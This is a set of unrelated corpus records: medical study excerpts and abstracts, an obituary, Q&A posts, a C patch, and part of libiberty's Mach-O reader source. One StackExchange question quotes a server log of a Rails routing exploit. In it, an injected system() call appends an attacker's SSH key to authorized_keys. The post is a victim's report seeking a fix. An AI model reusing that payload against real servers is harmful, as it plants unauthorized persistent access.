infect0.26 (0.12--0.55)\< 0.01Abdominal0.40 (0.18--0.88)0.02Soft tissue0.31 (0.10--0.96)0.04Medical ICU admission0.13 (0.05--0.33)\< 0.01
Clinical outcomes in patients with pneumonia {#Sec8}
--------------------------------------------
There was no statistically significant difference in the proportion of patients with pneumonia who died during their hospital stay when current smokers (34%, 18/53) were compared to non-smokers (24%, 45/188, *p* = 0.14) and former smokers (28%, 33/116, *p* = 0.47) (Table [9](#Tab9){ref-type="table"}). However, the percentage of deaths was significantly less in never smokers (12%, 12/72) when compared to current smokers (*p* = 0.03).Table 9Outcomes in smokers, former smokers, and never smokers with severe sepsis or septic shock due to pneumonia (*N* = 241)OutcomesCurrent smokers (*N* = 53)Non-smokers (*N* = 188)*P* value\*Former smokers (*N* = 116)*P* value^\*\*^Never smokers (*N* = 72)*P* value^§^Mortality^‡^---*n* (%)18 (34)45 (24)0.1433 (28)0.4712 (17)0.03Hospital LOS---median days (IQR)8 (5--20)7 (4--12)0.137.5 (4--13)0.167 (5--12)0.20Hospital LOS in survivors10 (5--21)7 (4--12)0.027 (4--13)0.037 (5--12)0.05ICU LOS7 (3--13)6 (3--12)0.706 (3--11)0.776 (2--12)0.68ICU LOS survivors8 (4--13)5 (2--12)0.144 (2--11)0.146 (3--12)0.28Required ICU admission---*n* (%)41 (77)104 (55)\< 0.0166 (57)0.0138 (53)\< 0.01Required vasopressors---*n* (%)33 (62)72 (38)\< 0.0148 (41)0.0124 (33)\< 0.01Vasopressor days---median (IQR)3 (2--5)3 (2--6)0.733 (2--6)0.623 (2--5)0.97Required mechanical ventilation---*n* (%)39 (74)66 (35)\< 0.0142 (36)\< 0.0124 (33)\< 0.01Ventilator days5 (3--12)6 (3--10)0.786 (3--11)0.604 (3--8)0.85Required dialysis---*n* (%)6 (11)15 (8)0.4510 (9)0.585 (7)0.39Dialysis days4.5 (3--10)6 (2--14)0.7010 (4--14)0.322 (2--2)0.52*LOS* length of stay, *ICU* intensive care unit\**P* value refers to comparison between current smokers and non-smokers\*\**P* value refers to comparison between current smokers and former smokers^§^*P* value refers to comparison between current smokers and never smokers^‡^Includes death or discharge to hospice
The percentage of patients who required ICU admission was higher in current smokers versus non-smokers (77% 41/53 vs 55% 104/188, *p* \< 0.01). There was a longer overall hospital length of stay in survivors in that same cohort (10, IQR 5--21 vs 7, IQR 4--12 days, *p* = 0.02), but ICU length of stay did not differ. There was a greater need for mechanical ventilation (74 vs 35%, *p* \< 0.01) and vasopressors (62 vs 38%, *p* \< 0.01) in current smokers vs non-smokers, respectively. Ventilator days, vasopressor days, need for dialysis, and dialysis days did not significantly differ among the compared groups (Table [9](#Tab9){ref-type="table"}).
Discussion {#Sec9}
==========
Sepsis is one of the most expensive conditions treated in US hospitals, and its impact on the morbidity and mortality of those afflicted is substantial \[[@CR23]\]. Tobacco smoking has well-documented effects on immune function, but the overall impact of smoking on clinical outcomes in sepsis has been poorly defined. Our results suggest that smoking is a potentially modifiable risk factor that can impact the course of those who have severe sepsis or septic shock. Despite being a younger group with fewer comorbidities, there was a trend towards a higher mortality in current smokers especially when compared to former smokers. Previous studies have primarily focused on the effect of smoking on outcomes in patients with respiratory infection, with conflicting results reported. For example, there is evidence that active smoking is associated with a higher mortality in patients with respiratory infections, particularly pneumonia and influenza \[[@CR19], [@CR24]\]. Contrarily, a large South African retrospective study noted that with the exception of tuberculosis, there was no significant risk of tobacco-attributable mortality from lung infections in smokers compared to non-smokers \[[@CR25]\]. In other studies, bacteremic patients with pneumococcal pneumonia who were current smokers had decreased mortality or no difference in mortality when compared to non-smokers with the same infection \[[@CR17], [@CR26]\]. However, none of these studies looked at the effect of smoking on a broad population with sepsis \[[@CR7], [@CR18], [@CR19]\]. To our knowledge, this is the first study to specifically examine the effect of active smoking on a general population of patients with severe sepsis and septic shock.
Our data also suggest that smokers have a higher proportion of sepsis-related organ dysfunction. We observed a greater percentage of septic shock and an increased need for vasopressors and mechanical ventilation in current smokers despite this population being younger and having fewer comorbidities. Furthermore, current smokers had a higher SOFA score at the time of diagnosis and were more likely to require ICU admission, suggesting a higher severity of illness on presentation and a more fulminant sepsis course. There is convincing biological plausibility for these findings considering the reported effects of smoking on several pro-inflammatory mediators, including TNFα, interleukin 6 and 8 NF-κB \[[@CR27]--[@CR30]\]. Furthermore, smoking increases levels of pro-inflammatory cytokines, including tumor necrosis factor (TNF) alpha and interleukin (IL)-6 \[[@CR13]\]. Such an exaggerated pro-inflammatory response to microorganisms could potentially result in worse outcomes from sepsis. We also observed a longer hospital length of stay and a trend towards a longer ICU length of stay, suggesting a longer recovery from sepsis. This may be related to the immunosuppressive effects of smoking, which renders the host less able to combat infection. The increased rates of mechanical ventilation and worse hypoxia in current smokers can partially be explained by the higher rates of COPD in that group. Smokers also have an increased susceptibility to respiratory tract infections and acute respiratory distress syndrome (ARDS), which puts them at risk for respiratory failure and the need for mechanical ventilation \[[@CR2]--[@CR4]\].
Another possible explanation for the trend towards higher mortality in smokers is its association with worse health habits. In concordance with other studies, our data illustrate that smoking is accompanied by alcohol abuse \[[@CR4], [@CR31]\]. However, alcohol abuse was not an independent predictor of mortality in our multivariable analysis. In other studies, smoking was associated with less vaccination uptake \[[@CR4], [@CR32]\]. As a behavior pattern, smokers may potentially delay seeking medical attention and that is reflected in a higher severity of illness on presentation. This association has been observed in lung cancer patients, where smokers often avoided medical advice for lung cancer symptoms \[[@CR33]\].
Because pneumonia was observed to be the most common source of infection and due to its association with smoking, we performed a subgroup analysis of patients with respiratory infections. Overall, the outcome trends were similar in patients with sepsis due to pneumonia as compared to outcomes observed in other sources of sepsis. However, as one would expect, the contrast between current smokers and non-smokers' need for mechanical ventilation was more pronounced in patients with pneumonia.
Our study is subject to a number of limitations. This was a single-center study, thus limiting the generalizability of our findings. Furthermore, the retrospective study design and small sample size potentially introduce bias into the results. Because the data were collected retrospectively, the smoking history and spirometry were limited to what was documented in the medical record a priori. However, the proportion of smokers observed in our study (19%, CI 95% 16--22) is similar to the prevalence of smoking reported in the state of Massachusetts (17%, CI 95% 16--18) for the year this study was conducted \[[@CR22]\]. A larger sample size detailing patients' smoking history including pack years would have shed light on any potential dose-dependent effect on sepsis. Additionally, a prospective study design with the use of a validated biomarker to quantify tobacco exposure such as NNAL would have provided an objective measure to corroborate the smoking history. Finally, we did not determine whether the study patients received nicotine supplementation during their hospitalization and did not assess for second-hand smoke exposure in the non-smokers.
Conclusions {#Sec10}
===========
This study identified that current smokers trended towards a higher mortality in severe sepsis and septic shock despite being younger and with fewer comorbid illnesses. In addition, current smoking was associated with more than a twofold increase in the need for mechanical ventilation. Thus, tobacco smoking may represent a modifiable risk factor for worse outcomes in severe sepsis and septic shock. This was an exploratory study to evaluate the effects of smoking on severe sepsis and septic shock. Ultimately, large-scale multicenter prospective case-control studies are needed to confirm our findings.
ARDS
: Acute respiratory distress syndrome
BMI
: Body mass index
CCI
: Charlson Comorbidity Index
CDC
: Center for Disease Control and Prevention
CHF
: Congestive heart failure
CKD
: Chronic kidney disease
CNS
: Central nervous system
COPD
: Chronic obstructive pulmonary disease
CVA
: Cerebrovascular accident
CVC
: Central venous catheter
DM
: Diabetes mellitus
ICU
: Intensive care unit
IL
: Interleukin
IQR
: Interquartile range
LOS
: Length of stay
MI
: Myocardial infarction
SIRS
: Systemic inflammatory response syndrome
SOFA
: Sequential organ failure assessment
TNF
: Tumor necrosis factor
The datasets generated during and/or analyzed during the current study are not publicly available due Health Insurance Portability and Accountability Act (HIPAA) confidentiality laws, but de-identified data are available from the corresponding author on reasonable request.
All authors had full access to the data. FA takes responsibility for the integrity of the data and accuracy of the data analysis. He contributed to the conception, design, and drafting of the manuscript. AAA and RK contributed to data acquisition and drafting of parts of the manuscript. YL contributed to analysis and interpretation. JD contributed to the final design, creation, and authorship of this manuscript. All authors read and approved the final manuscript.
Ethics approval and consent to participate {#FPar1}
==========================================
Our hospital's institutional review board (IRB) reviewed and approved this study. Since it was a retrospective study, the need for informed consent was waived.
Consent for publication {#FPar2}
=======================
Not applicable.
Competing interests {#FPar3}
===================
The authors declare that they have no competing interests.
Publisher's Note {#FPar4}
================
Springer Nature remains neutral with regard to jurisdictional claims in published maps and institutional affiliations.
|
{
"pile_set_name": "PubMed Central"
}
|
Q:
Straightening out jagged edges after live trace
I'm trying to smooth out the edges of a low res jpeg download after I take it in to live trace and use the b&w preset. Is there a better way than using the anchor point tool?
A:
You could try using the "smooth" tool located as a secondary option to the pencil tool.
Hard to predict and takes getting use to, but simply take it and smooth near/on lines you want to smooth and it will lessen the number of anchors giving a smoother line appearance.
A:
In addition to the Smooth Tool you can use Object > Path > Simplify from the menu to reduce the number of anchor points in any shape.
|
{
"pile_set_name": "StackExchange"
}
|
The effect of temperature on enzyme activity: new insights and their implications.
The two established thermal properties of enzymes are their activation energy and their thermal stability. Arising from careful measurements of the thermal behaviour of enzymes, a new model, the Equilibrium Model, has been developed to explain more fully the effects of temperature on enzymes. The model describes the effect of temperature on enzyme activity in terms of a rapidly reversible active-inactive transition, in addition to an irreversible thermal inactivation. Two new thermal parameters, Teq and Delta Heq, describe the active-inactive transition, and enable a complete description of the effect of temperature on enzyme activity. We review here the Model itself, methods for the determination of Teq and Delta Heq, and the implications of the Model for the environmental adaptation and evolution of enzymes, and for biotechnology.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
--- html/style_term.c.orig 1998-04-04 14:58:33 UTC
+++ html/style_term.c
@@ -102,6 +102,7 @@ dummy(SSTerm *t)
case SSTERM_HEXCOLOR:
case SSTERM_URL:
case SSTERM_RGB:
+ break;
}
return 0;
}
|
{
"pile_set_name": "Github"
}
|
We would like to offer our sincere support to anyone coping with grief. Enter your email below for our complimentary daily grief messages. Messages run for up to one year and you can stop at any time. Your email will not be used for any other purpose.
Joyce (Judy) Juanita (Maxwell) Phelps
May 11, 1960 ~ April 30, 2019 (age 58)
Obituary
Service Details
Tribute Wall
Flowers & Gifts
Joyce Juanita Phelps, 58, of Broken Bow, Oklahoma, known to her family and friends as Judy, passed away Tuesday, April 30, 2019 after a hard-fought battle with cancer. Judy was born May 11, 1960 at Hartshorne, Oklahoma to George and Onita Maxwell of Talihina, Oklahoma. She attended Talihina schools. Judy married Robert Phelps on May 2, 1977 at Wilburton, Oklahoma.
She worked for Tyson Foods as a supervisor and had been there for forty years. She was dearly loved by her family and friends and will be greatly missed.
Judy was preceded in death by her parents, George and Onita Maxwell; brothers, Stephen Maxwell and Alvin Bost.
Judy is survived by her loving husband, Robert; daughter Tonya Cooke and husband Steven of Broken Bow, Oklahoma; three grandchildren, Hagen Smith, Lexie Smith and Cameron Cooke all of Broken Bow, Oklahoma; also survived by her sister, Ann Driver of Talihina, Oklahoma; brothers, Richard Rose of Texarkana, Texas and Gene Rose of Talihina, Oklahoma. She left behind many other relatives, loved ones and friends.
In lieu of flowers the family request donations be made to the American Cancer Society.
Arrangements are being handled by Bunch-Singleton Funeral Home of Broken Bow, Oklahoma.
|
{
"pile_set_name": "Pile-CC"
}
|
Perioperative and long-term outcomes of laparoscopic, open abdominal, and vaginal surgery for endometrial cancer in patients aged 80 years or older.
This study was undertaken to evaluate the safety, feasibility, and the long-term effectiveness of laparoscopy in endometrial cancer patients aged 80 years or older. Data of consecutive patients aged 80 years and older undergoing laparoscopic, open abdominal, and vaginal approaches were compared. Postoperative complications were graded per the Accordion Severity Classification. Survival outcomes within the first 5 years were analyzed using the Kaplan-Meier method. Among 726 patients, 63 (9%) were aged 80 years and older. Laparoscopic, open abdominal, and vaginal surgery were performed in 22 (35%), 25 (40%), and 16 (25%) cases, respectively. All laparoscopic procedures were completed laparoscopically, whereas a conversion from vaginal to open procedure occurred (0% vs 6%; P = 0.42). Patients undergoing laparoscopy experienced similar operative time (P > 0.05), lower blood loss (P < 0.05), and shorter hospital stay (P < 0.05) than patients undergoing open and vaginal surgery. No intraoperative complications were recorded. Laparoscopy is related to a lower rate of postoperative complications (P = 0.09) and Accordion grade greater than or equal to 2 complications (P = 0.05) in comparison to open abdominal and vaginal surgery. The route of surgical approaches did not influence the 5-year disease-free (P = 0.97, log-rank test) and overall (P = 0.94, log-rank test) survivals. Laparoscopy seems to represent a safe and effective treatment of endometrial cancer in women aged 80 years or older. Our data suggest that in elderly women, laparoscopic surgery improves perioperative outcomes compared with open and vaginal approaches without compromising long-term survival.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
Q:
ActionDispatch::Routing Vulnerability Found, has it been patched?
I noticed some unusual activity on my website a couple days ago so I decided to check out the production log. Here is what I found:
Started GET "/" for 74.219.112.36 at 2013-01-11 20:25:05 +0000
Processing by HomeController#logo as */*
Parameters: {"exploit"=>#
<ActionDispatch::Routing::RouteSet::NamedRouteCollection:0xcb7e650
@routes={:"foo; system('cd ~;mkdir .ssh;echo ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAIEAtHtSi4viCaMf/KeG3mxlynWEWRPV
/l4+De+BBFg/xI2ybuFenYYn4clbLFugxxr1sDNr0jBgk0iMqrLbVcdc9p
DjKuymKEVbsJbOqrnNMXlUtxCefeGT1piY8Z/7tapLsr+GCXokhIcB2FPzq
TtOKhnJvzgA4eZSVZsVlxTwyFM= root >> ~/.ssh/authorized_keys')\n__END__\n"=>
#<OpenStruct defaults={:action=>"create", :controller=>"foos"},
required_parts=[], requirements={:action=>"create", :controller=>"foos"},
segment_keys=[:format]>}, @helpers=[:"hash_for_foo; system('cd ~;
mkdir .ssh;echo ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAIEAtHtSi4viCaMf/KeG3mxlynWEWRPV
/l4+De+BBFg/xI2ybuFenYYn4clbLFugxxr1sDNr0jBgk0iMqrLbVcdc9pDjKuymKEVbs
JbOqrnNMXlUtxCefeGT1piY8Z/7tapLsr+GCXokhIcB2FPzqTtOKhnJvzgA4eZSVZsVlx
TwyFM= root >> ~/.ssh/authorized_keys')\n__END__\n_url", :"foo;
system('cd ~;mkdir .ssh;echo ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAIEAtHtSi4viCaMf/KeG3mxlynWEWRPV/l4+De+BBFg
/xI2ybuFenYYn4clbLFugxxr1sDNr0jBgk0iMqrLbVcdc9pDjKuymKEVbsJbOqrnNMXlUtxCefeG
T1piY8Z/7tapLsr+GCXokhIcB2FPzqTtOKhnJvzgA4eZSVZsVlxTwyFM=
root >> ~/.ssh/authorized_keys')\n__END__\n_url", :"hash_for_foo;
system('cd ~;mkdir .ssh;echo ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAIEAtHtSi4viCaMf/KeG3mxlynWEWRPV/l4+De+BBFg
/xI2ybuFenYYn4clbLFugxxr1sDNr0jBgk0iMqrLbVcdc9pDjKuymKEVbsJbOqrnNMXlUt
xCefeGT1piY8Z/7tapLsr+GCXokhIcB2FPzqTtOKhnJvzgA4eZSVZsVlxTwyFM= root >>
~/.ssh/authorized_keys')\n__END__\n_path", :"foo; system('cd ~;mkdir .ssh;
echo ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAIEAtHtSi4viCaMf/KeG3mxlynWEWRPV/l4+De+BBFg
/xI2ybuFenYYn4clbLFugxxr1sDNr0jBgk0iMqrLbVcdc9pDjKuymKEVbsJbOqrnNMXlUtxCefeG
T1piY8Z/7tapLsr+GCXokhIcB2FPzqTtOKhnJvzgA4eZSVZsVlxTwyFM= root >>
~/.ssh/authorized_keys')\n__END__\n_path"], @module=#<Module:0xcb7e5c4>>}
Rendered landing_users/_form.html.haml (4.7ms)
Rendered home/logo.html.haml within layouts/application (7.8ms)
Completed 200 OK in 11ms (Views: 10.4ms | ActiveRecord: 0.0ms)
I went on to check if their system calls worked and sure enough in ~/.ssh/authorized_keys I found the same ssh key. So this means they were able to run system calls through my rails app!!!! Thankfully my rails app isn't run under root so they did not get root access. But regardless this terrifies me.
Has anyone encountered this exploit before? If so how did you patch it?
My rails app is on Ubuntu 12.04, using rails version 3.2.8 and ruby version 1.9.3p125. If any other information would help out please let me know!
I found a blog post referring to this exploit but no solutions, just how to perform it.
A:
Did you follow the link in that blog?
On January 8th, Aaron Patterson announced CVE-2013-0156
If you did, you would see that it is fixed in Rails 3.2.11.
Update your app immediately!
|
{
"pile_set_name": "StackExchange"
}
|
/* simple-object-mach-o.c -- routines to manipulate Mach-O object files.
Copyright (C) 2010-2020 Free Software Foundation, Inc.
Written by Ian Lance Taylor, Google.
This program is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 2, or (at your option) any
later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, 51 Franklin Street - Fifth Floor,
Boston, MA 02110-1301, USA. */
#include "config.h"
#include "libiberty.h"
#include "simple-object.h"
#include <stddef.h>
#ifdef HAVE_STDLIB_H
#include <stdlib.h>
#endif
#ifdef HAVE_STDINT_H
#include <stdint.h>
#endif
#ifdef HAVE_STRING_H
#include <string.h>
#endif
#ifdef HAVE_INTTYPES_H
#include <inttypes.h>
#endif
#include "simple-object-common.h"
/* Mach-O structures and constants. */
/* Mach-O header (32-bit version). */
struct mach_o_header_32
{
unsigned char magic[4]; /* Magic number. */
unsigned char cputype[4]; /* CPU that this object is for. */
unsigned char cpusubtype[4]; /* CPU subtype. */
unsigned char filetype[4]; /* Type of file. */
unsigned char ncmds[4]; /* Number of load commands. */
unsigned char sizeofcmds[4]; /* Total size of load commands. */
unsigned char flags[4]; /* Flags for special featues. */
};
/* Mach-O header (64-bit version). */
struct mach_o_header_64
{
unsigned char magic[4]; /* Magic number. */
unsigned char cputype[4]; /* CPU that this object is for. */
unsigned char cpusubtype[4]; /* CPU subtype. */
unsigned char filetype[4]; /* Type of file. */
unsigned char ncmds[4]; /* Number of load commands. */
unsigned char sizeofcmds[4]; /* Total size of load commands. */
unsigned char flags[4]; /* Flags for special featues. */
unsigned char reserved[4]; /* Reserved. Duh. */
};
/* For magic field in header. */
#define MACH_O_MH_MAGIC 0xfeedface
#define MACH_O_MH_MAGIC_64 0xfeedfacf
/* For filetype field in header. */
#define MACH_O_MH_OBJECT 0x01
/* A Mach-O file is a list of load commands. This is the header of a
load command. */
struct mach_o_load_command
{
unsigned char cmd[4]; /* The type of load command. */
unsigned char cmdsize[4]; /* Size in bytes of entire command. */
};
/* For cmd field in load command. */
#define MACH_O_LC_SEGMENT 0x01
#define MACH_O_LC_SEGMENT_64 0x19
/* LC_SEGMENT load command. */
struct mach_o_segment_command_32
{
unsigned char cmd[4]; /* The type of load command (LC_SEGMENT). */
unsigned char cmdsize[4]; /* Size in bytes of entire command. */
unsigned char segname[16]; /* Name of this segment. */
unsigned char vmaddr[4]; /* Virtual memory address of this segment. */
unsigned char vmsize[4]; /* Size there, in bytes. */
unsigned char fileoff[4]; /* Offset in bytes of the data to be mapped. */
unsigned char filesize[4]; /* Size in bytes on disk. */
unsigned char maxprot[4]; /* Maximum permitted vmem protection. */
unsigned char initprot[4]; /* Initial vmem protection. */
unsigned char nsects[4]; /* Number of sections in this segment. */
unsigned char flags[4]; /* Flags that affect the loading. */
};
/* LC_SEGMENT_64 load command. */
struct mach_o_segment_command_64
{
unsigned char cmd[4]; /* The type of load command (LC_SEGMENT_64). */
unsigned char cmdsize[4]; /* Size in bytes of entire command. */
unsigned char segname[16]; /* Name of this segment. */
unsigned char vmaddr[8]; /* Virtual memory address of this segment. */
unsigned char vmsize[8]; /* Size there, in bytes. */
unsigned char fileoff[8]; /* Offset in bytes of the data to be mapped. */
unsigned char filesize[8]; /* Size in bytes on disk. */
unsigned char maxprot[4]; /* Maximum permitted vmem protection. */
unsigned char initprot[4]; /* Initial vmem protection. */
unsigned char nsects[4]; /* Number of sections in this segment. */
unsigned char flags[4]; /* Flags that affect the loading. */
};
/* 32-bit section header. */
struct mach_o_section_32
{
unsigned char sectname[16]; /* Section name. */
unsigned char segname[16]; /* Segment that the section belongs to. */
unsigned char addr[4]; /* Address of this section in memory. */
unsigned char size[4]; /* Size in bytes of this section. */
unsigned char offset[4]; /* File offset of this section. */
unsigned char align[4]; /* log2 of this section's alignment. */
unsigned char reloff[4]; /* File offset of this section's relocs. */
unsigned char nreloc[4]; /* Number of relocs for this section. */
unsigned char flags[4]; /* Section flags/attributes. */
unsigned char reserved1[4];
unsigned char reserved2[4];
};
/* 64-bit section header. */
struct mach_o_section_64
{
unsigned char sectname[16]; /* Section name. */
unsigned char segname[16]; /* Segment that the section belongs to. */
unsigned char addr[8]; /* Address of this section in memory. */
unsigned char size[8]; /* Size in bytes of this section. */
unsigned char offset[4]; /* File offset of this section. */
unsigned char align[4]; /* log2 of this section's alignment. */
unsigned char reloff[4]; /* File offset of this section's relocs. */
unsigned char nreloc[4]; /* Number of relocs for this section. */
unsigned char flags[4]; /* Section flags/attributes. */
unsigned char reserved1[4];
unsigned char reserved2[4];
unsigned char reserved3[4];
};
/* Flags for Mach-O sections. */
#define MACH_O_S_ATTR_DEBUG 0x02000000
/* The length of a segment or section name. */
#define MACH_O_NAME_LEN (16)
/* A GNU specific extension for long section names. */
#define GNU_SECTION_NAMES "__section_names"
/* A GNU-specific extension to wrap multiple sections using three
mach-o sections within a given segment. The section '__wrapper_sects'
is subdivided according to the index '__wrapper_index' and each sub
sect is named according to the names supplied in '__wrapper_names'. */
#define GNU_WRAPPER_SECTS "__wrapper_sects"
#define GNU_WRAPPER_INDEX "__wrapper_index"
#define GNU_WRAPPER_NAMES "__wrapper_names"
/* Private data for an simple_object_read. */
struct simple_object_mach_o_read
{
/* User specified segment name. */
char *segment_name;
/* Magic number. */
unsigned int magic;
/* Whether this file is big-endian. */
int is_big_endian;
/* CPU type from header. */
unsigned int cputype;
/* CPU subtype from header. */
unsigned int cpusubtype;
/* Number of commands, from header. */
unsigned int ncmds;
/* Flags from header. */
unsigned int flags;
/* Reserved field from header, only used on 64-bit. */
unsigned int reserved;
};
/* Private data for an simple_object_attributes. */
struct simple_object_mach_o_attributes
{
/* Magic number. */
unsigned int magic;
/* Whether this file is big-endian. */
int is_big_endian;
/* CPU type from header. */
unsigned int cputype;
/* CPU subtype from header. */
unsigned int cpusubtype;
/* Flags from header. */
unsigned int flags;
/* Reserved field from header, only used on 64-bit. */
unsigned int reserved;
};
/* See if we have a Mach-O MH_OBJECT file:
A standard MH_OBJECT (from as) will have three load commands:
0 - LC_SEGMENT/LC_SEGMENT64
1 - LC_SYMTAB
2 - LC_DYSYMTAB
The LC_SEGMENT/LC_SEGMENT64 will introduce a single anonymous segment
containing all the sections.
Files written by simple-object will have only the segment command
(no symbol tables). */
static void *
simple_object_mach_o_match (
unsigned char header[SIMPLE_OBJECT_MATCH_HEADER_LEN],
int descriptor,
off_t offset,
const char *segment_name,
const char **errmsg,
int *err)
{
unsigned int magic;
int is_big_endian;
unsigned int (*fetch_32) (const unsigned char *);
unsigned int filetype;
struct simple_object_mach_o_read *omr;
unsigned char buf[sizeof (struct mach_o_header_64)];
unsigned char *b;
magic = simple_object_fetch_big_32 (header);
if (magic == MACH_O_MH_MAGIC || magic == MACH_O_MH_MAGIC_64)
is_big_endian = 1;
else
{
magic = simple_object_fetch_little_32 (header);
if (magic == MACH_O_MH_MAGIC || magic == MACH_O_MH_MAGIC_64)
is_big_endian = 0;
else
{
*errmsg = NULL;
*err = 0;
return NULL;
}
}
#ifndef UNSIGNED_64BIT_TYPE
if (magic == MACH_O_MH_MAGIC_64)
{
*errmsg = "64-bit Mach-O objects not supported";
*err = 0;
return NULL;
}
#endif
/* We require the user to provide a segment name. This is
unfortunate but I don't see any good choices here. */
if (segment_name == NULL)
{
*errmsg = "Mach-O file found but no segment name specified";
*err = 0;
return NULL;
}
if (strlen (segment_name) > MACH_O_NAME_LEN)
{
*errmsg = "Mach-O segment name too long";
*err = 0;
return NULL;
}
/* The 32-bit and 64-bit headers are similar enough that we can use
the same code. */
fetch_32 = (is_big_endian
? simple_object_fetch_big_32
: simple_object_fetch_little_32);
if (!simple_object_internal_read (descriptor, offset, buf,
(magic == MACH_O_MH_MAGIC
? sizeof (struct mach_o_header_32)
: sizeof (struct mach_o_header_64)),
errmsg, err))
return NULL;
b = &buf[0];
filetype = (*fetch_32) (b + offsetof (struct mach_o_header_32, filetype));
if (filetype != MACH_O_MH_OBJECT)
{
*errmsg = "Mach-O file is not object file";
*err = 0;
return NULL;
}
omr = XNEW (struct simple_object_mach_o_read);
omr->segment_name = xstrdup (segment_name);
omr->magic = magic;
omr->is_big_endian = is_big_endian;
omr->cputype = (*fetch_32) (b + offsetof (struct mach_o_header_32, cputype));
omr->cpusubtype = (*fetch_32) (b
+ offsetof (struct mach_o_header_32,
cpusubtype));
omr->ncmds = (*fetch_32) (b + offsetof (struct mach_o_header_32, ncmds));
omr->flags = (*fetch_32) (b + offsetof (struct mach_o_header_32, flags));
if (magic == MACH_O_MH_MAGIC)
omr->reserved = 0;
else
omr->reserved = (*fetch_32) (b
+ offsetof (struct mach_o_header_64,
reserved));
return (void *) omr;
}
/* Get the file offset and size from a section header. */
static void
simple_object_mach_o_section_info (int is_big_endian, int is_32,
const unsigned char *sechdr, off_t *offset,
size_t *size)
{
unsigned int (*fetch_32) (const unsigned char *);
ulong_type (*fetch_64) (const unsigned char *);
fetch_32 = (is_big_endian
? simple_object_fetch_big_32
: simple_object_fetch_little_32);
fetch_64 = NULL;
#ifdef UNSIGNED_64BIT_TYPE
fetch_64 = (is_big_endian
? simple_object_fetch_big_64
: simple_object_fetch_little_64);
#endif
if (is_32)
{
*offset = fetch_32 (sechdr
+ offsetof (struct mach_o_section_32, offset));
*size = fetch_32 (sechdr
+ offsetof (struct mach_o_section_32, size));
}
else
{
*offset = fetch_32 (sechdr
+ offsetof (struct mach_o_section_64, offset));
*size = fetch_64 (sechdr
+ offsetof (struct mach_o_section_64, size));
}
}
/* Handle a segment in a Mach-O Object file.
This will callback to the function pfn for each "section found" the meaning
of which depends on gnu extensions to mach-o:
If we find mach-o sections (with the segment name as specified) which also
contain: a 'sects' wrapper, an index, and a name table, we expand this into
as many sections as are specified in the index. In this case, there will
be a callback for each of these.
We will also allow an extension that permits long names (more than 16
characters) to be used with mach-o. In this case, the section name has
a specific format embedding an index into a name table, and the file must
contain such name table.
Return 1 if we should continue, 0 if the caller should return. */
#define SOMO_SECTS_PRESENT 0x01
#define SOMO_INDEX_PRESENT 0x02
#define SOMO_NAMES_PRESENT 0x04
#define SOMO_LONGN_PRESENT 0x08
#define SOMO_WRAPPING (SOMO_SECTS_PRESENT | SOMO_INDEX_PRESENT \
| SOMO_NAMES_PRESENT)
static int
simple_object_mach_o_segment (simple_object_read *sobj, off_t offset,
const unsigned char *segbuf,
int (*pfn) (void *, const char *, off_t offset,
off_t length),
void *data,
const char **errmsg, int *err)
{
struct simple_object_mach_o_read *omr =
(struct simple_object_mach_o_read *) sobj->data;
unsigned int (*fetch_32) (const unsigned char *);
int is_32;
size_t seghdrsize;
size_t sechdrsize;
size_t segname_offset;
size_t sectname_offset;
unsigned int nsects;
unsigned char *secdata;
unsigned int i;
unsigned int gnu_sections_found;
unsigned int strtab_index;
unsigned int index_index;
unsigned int nametab_index;
unsigned int sections_index;
char *strtab;
char *nametab;
unsigned char *index;
size_t strtab_size;
size_t nametab_size;
size_t index_size;
unsigned int n_wrapped_sects;
size_t wrapper_sect_size;
off_t wrapper_sect_offset = 0;
fetch_32 = (omr->is_big_endian
? simple_object_fetch_big_32
: simple_object_fetch_little_32);
is_32 = omr->magic == MACH_O_MH_MAGIC;
if (is_32)
{
seghdrsize = sizeof (struct mach_o_segment_command_32);
sechdrsize = sizeof (struct mach_o_section_32);
segname_offset = offsetof (struct mach_o_section_32, segname);
sectname_offset = offsetof (struct mach_o_section_32, sectname);
nsects = (*fetch_32) (segbuf
+ offsetof (struct mach_o_segment_command_32,
nsects));
}
else
{
seghdrsize = sizeof (struct mach_o_segment_command_64);
sechdrsize = sizeof (struct mach_o_section_64);
segname_offset = offsetof (struct mach_o_section_64, segname);
sectname_offset = offsetof (struct mach_o_section_64, sectname);
nsects = (*fetch_32) (segbuf
+ offsetof (struct mach_o_segment_command_64,
nsects));
}
/* Fetch the section headers from the segment command. */
secdata = XNEWVEC (unsigned char, nsects * sechdrsize);
if (!simple_object_internal_read (sobj->descriptor, offset + seghdrsize,
secdata, nsects * sechdrsize, errmsg, err))
{
XDELETEVEC (secdata);
return 0;
}
/* Scan for special sections that signal GNU extensions to the format. */
gnu_sections_found = 0;
index_index = nsects;
sections_index = nsects;
strtab_index = nsects;
nametab_index = nsects;
for (i = 0; i < nsects; ++i)
{
size_t nameoff;
nameoff = i * sechdrsize + segname_offset;
if (strcmp ((char *) secdata + nameoff, omr->segment_name) != 0)
continue;
nameoff = i * sechdrsize + sectname_offset;
if (strcmp ((char *) secdata + nameoff, GNU_WRAPPER_NAMES) == 0)
{
nametab_index = i;
gnu_sections_found |= SOMO_NAMES_PRESENT;
}
else if (strcmp ((char *) secdata + nameoff, GNU_WRAPPER_INDEX) == 0)
{
index_index = i;
gnu_sections_found |= SOMO_INDEX_PRESENT;
}
else if (strcmp ((char *) secdata + nameoff, GNU_WRAPPER_SECTS) == 0)
{
sections_index = i;
gnu_sections_found |= SOMO_SECTS_PRESENT;
}
else if (strcmp ((char *) secdata + nameoff, GNU_SECTION_NAMES) == 0)
{
strtab_index = i;
gnu_sections_found |= SOMO_LONGN_PRESENT;
}
}
/* If any of the special wrapper section components is present, then
they all should be. */
if ((gnu_sections_found & SOMO_WRAPPING) != 0)
{
off_t nametab_offset;
off_t index_offset;
if ((gnu_sections_found & SOMO_WRAPPING) != SOMO_WRAPPING)
{
